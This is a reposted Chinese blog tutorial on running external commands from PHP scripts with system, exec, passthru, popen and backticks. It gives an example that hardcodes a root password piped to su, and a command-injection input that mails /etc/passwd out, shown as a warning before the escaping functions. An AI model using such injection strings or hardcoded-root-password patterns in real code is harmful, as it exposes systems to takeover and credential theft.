PHP指令碼:隨心所欲的程式碼逐漸流行(轉)
PHP指令碼:隨心所欲的程式碼逐漸流行(轉)[@more@] PHP作為一種伺服器端的指令碼語言,象編寫簡單,或者是複雜的動態網頁這樣的任務,它完全能夠勝任。但事情不總是如此,有時為了實現某個功能,必須藉助於作業系統的外部程式(或者稱之為命令),這樣可以做到事半功倍。 那麼,是否可以在PHP指令碼中呼叫外部命令呢?如果能,如何去做呢?有些什麼方面的顧慮呢?相信你看了本文後,肯定能夠回答這些問題了。 是否可以? 答案是肯定的。PHP和其它的程式設計語言一樣,完全可以在程式內呼叫外部命令,並且是很簡單的:只要用一個或幾個函式即可。 前提條件 由於PHP基本是用於WEB程式開發的,所以安全性成了人們考慮的一個重要方面。於是PHP的設計者們給PHP加了一個門:安全模式。如果執行在安全模式下,那麼PHP指令碼中將受到如下四個方面的限制: 執行外部命令 在開啟檔案時有些限制 連線MySQL資料庫 基於HTTP的認證 在安全模式下,只有在特定目錄中的外部程式才可以被執行,對其它程式的呼叫將被拒絕。這個目錄可以在php.ini檔案中用safe_mode_exec_dir指令,或在編譯PHP是加上--with-exec-dir選項來指定,預設是/usr/local/php/bin。 如果你呼叫一個應該可以輸出結果的外部命令(意思是PHP指令碼沒有錯誤),得到的卻是一片空白,那麼很可能你的網管已經把PHP執行在安全模式下了。 如何做? 在PHP中呼叫外部命令,可以用如下三種方法來實現: 1) 用PHP提供的專門函式 PHP提供共了3個專門的執行外部命令的函式:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函式很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個引數是可選的,用來得到命令執行後的狀態碼。 例子: system("/usr/local/bin/webalizer/webalizer"); ?> exec() 原型:string exec (string command [, string array [, int return_var]]) exec()函式與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個引數array可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在呼叫之前最好用unset()最它清掉。只有指定了第二個引數時,才可以用第三個引數,用來取得命令執行的狀態碼。 例子: exec("/bin/ls -l"); exec("/bin/ls -l", $res); #$res是一個資料,每個元素代表結果的一行 exec("/bin/ls -l", $res, $rc); #$rc的值是命令/bin/ls -l的狀態碼。成功的情況下通常是0 ?> passthru() 原型:void passthru (string command [, int return_var]) passthru()只呼叫命令,不返回任何結果,但把命令的執行結果原樣地直接輸出到標準輸出裝置上。所以passthru()函式經常用來呼叫象pbmplus(Unix下的一個處理圖片的工具,輸出二進位制的原始圖片的流)這樣的程式。同樣它也可以得到命令執行的狀態碼。 例子: header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?> 2) 用popen()函式開啟程式 上面的方法只能簡單地執行命令,卻不能與命令互動。但有些時候必須向命令輸入一些東西,如在增加Linux的系統使用者時,要呼叫su來把當前使用者換到root才行,而su命令必須要在命令列上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。 popen()函式開啟一個程式管道來執行給定的命令,返回一個檔案控制程式碼。既然返回的是一個檔案控制程式碼,那麼就可以對它讀和寫了。在PHP3中,對這種控制程式碼只能做單一的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個控制程式碼是以一種模式(讀或寫)開啟的,否則必須呼叫pclose()函式來關閉它。 例子1: $fp=popen("/bin/ls -l", "r"); ?> 例子2(本例來自PHP中國聯盟網站): /* PHP中如何增加一個系統使用者 下面是一段例程,增加一個名字為james的使用者, root密碼是 verygood。僅供參考 */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> 3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面) 這個方法以前沒有歸入PHP的文件,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表示式,這個表示式的值就是命令執行的結果。如: $res=`/bin/ls -l`; echo ' '.$res.' '; ?> 這個指令碼的輸出就象: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php 要考慮些什麼? 要考慮兩個問題:安全性和超時。 先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個檔案中。你編寫了一個有表單的HTML檔案,讓你的使用者輸入他們的EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函式(或者從未聽說過),你就呼叫Linux/Unix系統的mail程式來傳送這個檔案。程式就象這樣: system("mail $to < products.txt"); echo "我們的產品目錄已經傳送到你的信箱:$to"; ?> 用這段程式碼,一般的使用者不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的使用者輸入了這樣一個EMAIL地址: '--bla ; mail someone@domain.com < /etc/passwd ;' 那麼這條命令最終變成: 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。 幸好,PHP為我們提供了兩個函式:EscapeShellCmd()和EscapeShellArg()。函式EscapeShellCmd把一個字串中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從檔案讀入( 再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後臺去執行。但在預設情況下,象system()等函式要等到這個命令執行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP指令碼的超時。解決的辦法是把命令的輸出重定向到另外一個檔案或流中
·上一篇:·下一篇:
最新更新 | ||
······························ |
| ||
| | | | | | | | ||
| ||
Copyright © 2004 - 2007 All Rights Reserved
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10763080/viewspace-970198/,如需轉載,請註明出處,否則將追究法律責任。
下一篇:
PHP未明遠端任意檔案上傳漏洞(轉)
請登入後發表評論
登入
全部評論
|
相關文章
- Permute 3 Mac:格式轉換,隨心所欲Mac
- 可以隨心所欲的canvas粒子特效Canvas特效
- Permute 3 - 媒體轉換專家,隨心所欲轉換格式
- 讓 sudo 會話時間隨心所欲會話
- GNU EMACS字型設定,基本上可以隨心所欲(轉)Mac
- 最流行的PHP 程式碼規範PHP
- Ableton Live 11 Suite:無限創造,隨心所欲UI
- 建造者模式打造隨心所欲的Android對話方塊模式Android
- [CSS] 自定義變數帶你隨心所欲,一鍵換膚CSS變數
- phpMyAdminsetup.php指令碼的任意PHP程式碼注入漏洞PHP指令碼
- Ableton Live 12 Suite mac啟用版:無限創造,隨心所欲UIMac
- PHP多程式並行執行php指令碼PHP並行指令碼
- 高亮你的PHP程式碼 (轉)PHP
- 使用PHP指令碼來寫Daemon程式PHP指令碼
- coreseek實戰(四):php介面的使用,完善php指令碼程式碼PHP指令碼
- 修改伺服器配置 讓asp.net檔案字尾名隨心所欲伺服器ASP.NET
- 戴上Wave智慧指環,一個手勢讓你隨心所欲控制音樂
- PHP 依賴注入擴充套件包 - 讓你在任何時候隨心所欲使用依賴注入「秀配圖 ^_^」PHP依賴注入套件
- iOS使用指令碼跟隨工程程式碼動態生成FrameworkiOS指令碼Framework
- 一對一直播原始碼逐漸變為生活中的主角原始碼
- 多程式PHP指令碼實現海量資料轉移總結PHP指令碼
- Linux程式設計:將PHP作為Shell指令碼使用(轉)Linux程式設計PHP指令碼
- 低無程式碼開發平臺正在逐漸打破原有軟體開發模式模式
- 程式碼格式化指令碼CodeFormat (轉)指令碼ORM
- BASH Shell的指令碼程式設計(轉)指令碼程式設計
- php 隨機顯示圖片的函式程式碼PHP隨機函式
- 指令碼和css控制!文字漸變效果!指令碼CSS
- jquery漸隱漸現程式碼例項jQuery
- 最流行的JavaScript程式碼規範JavaScript
- 案例四:Shell指令碼生成隨機密碼指令碼隨機密碼
- ruby指令碼,隨機生成複雜密碼指令碼隨機密碼
- 流行Linux和Windows指令碼語言列表LinuxWindows指令碼
- CSS 顏色漸變的程式碼.CSS
- C與指令碼的混合程式設計 (轉)指令碼程式設計
- 程式碼上線的shell指令碼指令碼
- php生成唯一隨機碼PHP隨機
- 逐漸深入地理解Ajax
- 地址本的指令碼(轉)指令碼